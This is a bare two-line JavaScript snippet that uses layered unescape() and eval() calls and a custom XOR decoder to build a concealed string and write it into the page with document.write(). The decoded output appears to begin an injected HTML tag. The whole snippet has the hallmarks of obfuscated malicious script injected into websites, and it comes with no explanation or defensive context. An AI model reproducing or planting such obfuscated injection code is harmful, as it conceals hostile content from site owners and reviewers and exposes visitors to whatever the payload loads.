eval(unescape('%66%75%6e%63%74%69%6f%6e%20%69%33%30%36%64%35%65%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%28%22%32%31%30%31%39%32%39%31%22%29%3b%0a%09%73%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%30%5d%29%3b%0a%09%6b%20%3d%20%75%6e%65%73%63%61%70%65%28%74%6d%70%5b%31%5d%20%2b%20%22%36%31%32%31%36%36%22%29%3b%0a%09%66%6f%72%28%20%76%61%72%20%69%20%3d%20%30%3b%20%69%20%3c%20%73%2e%6c%65%6e%67%74%68%3b%20%69%2b%2b%29%20%7b%0a%09%09%72%20%2b%3d%20%53%74%72%69%6e%67%2e%66%72%6f%6d%43%68%61%72%43%6f%64%65%28%28%70%61%72%73%65%49%6e%74%28%6b%2e%63%68%61%72%41%74%28%69%25%6b%2e%6c%65%6e%67%74%68%29%29%5e%73%2e%63%68%61%72%43%6f%64%65%41%74%28%69%29%29%2b%37%29%3b%0a%09%7d%0a%09%72%65%74%75%72%6e%20%72%3b%0a%7d%0a'));
eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%69%33%30%36%64%35%65%28%27') + '%30%62%65%62%62%1e%61%6d%5f%5d%37%1d%67%68%6a%6e%36%2e%2f%6d%6e%68%6e%65%64%61%22%65%6c%2d%6e%6c%5d%58%6a%2a%6d%5c%60%67%2f%5a%5b%6a%65%60%61%26%5e%6d%6a%1d%1c%6a%75%6c%58%31%1b%6b%5f%73%6c%2e%5a%69%6b%1c%1c%6d%59%65%30%1a%6e%6c%74%63%5b%6b%66%5b%58%6a%1b%3121019291%35%37%37%35%36%37%30' + unescape('%27%29%29%3b'));